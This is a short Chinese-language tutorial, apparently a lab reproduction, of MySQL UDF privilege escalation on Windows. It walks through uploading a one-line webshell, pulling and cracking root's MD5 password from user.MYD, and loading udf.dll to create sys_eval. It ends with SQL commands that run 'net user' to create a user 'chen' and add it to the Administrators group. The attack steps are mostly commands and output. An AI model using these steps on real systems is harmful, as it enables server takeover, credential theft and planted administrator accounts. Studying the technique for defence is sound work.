Mysql-udf提权复现
关于udf
UDF (user defined function),自定义函数。通过添加新函数,对MySQL的功能进行扩充。
udf提权原理
在udf.dll文件中,定义了名位sys_eval()的函数,该函数可以执行系统命令,通过该函数来完成,系统用户的创建和提权。
udf提权注意事项
-
在使用sys_eval()函数时,要显进行引用:
引用有两个变量,一个是函数名sys_eval,一个是共享包名称udf.dll
create function sys_eval returns string soname 'udf.dll';
-
当 MySQL< 5.1 版本时,将 .dll 文件导入到 c:\windows 或者 c:\windows\system32 目录下。
当 MySQL> 5.1 版本时,将 .dll 文件导入到 MySQL Server 5.xx\lib\plugin 目录下。
-
保证secure_file_priv的值为空,才可以进行文件的导入和导出。查看语句:
show global variables like 'secure%';
使用脚本来完成udf的提权复现
上传一句话木马,之后使用蚁剑连接
找到MySQLxxx/data/mysql/user.MYD打开可以看见root用户的账户和密码
密码被MD5加密,在网上找在线工具解密
然后将moon.php上传到服务器目录
之后访问脚本,登录所找到的用户和密码
导入udf.dll文件
引用sys_eval,就是点击脚本的创建sys_eval
回显::create function sys_eval returns string soname ‘moonudf.dll’
Function ‘sys_eval’ already exists
在自定义SQL语句中输入select sys_eval(‘net user’)查看当前用户
得到回显
SQL语句:select sys_eval('net user')
\\DESKTOP-E65T8I4
-------------------------------------------------------------------------------
23847 admin Administrator
DefaultAccount Guest WDAGUtilityAccount
输入select sys_eval('net user chen 123 /add') #创建新用户chen
输入select sys_eval('net localgroup Administrators chen /add') #将我们建立的chen用户加入管理员组去。
输入select sys_eval('net user chen /active:yes') #激活我们新建的账号
完成提权
局限:
-
限制了对web脚本执行则无法使用
-
如果网站目录并不包含mysql数据包库则无法,通过蚁剑正常查看到密码,可以进行手工提权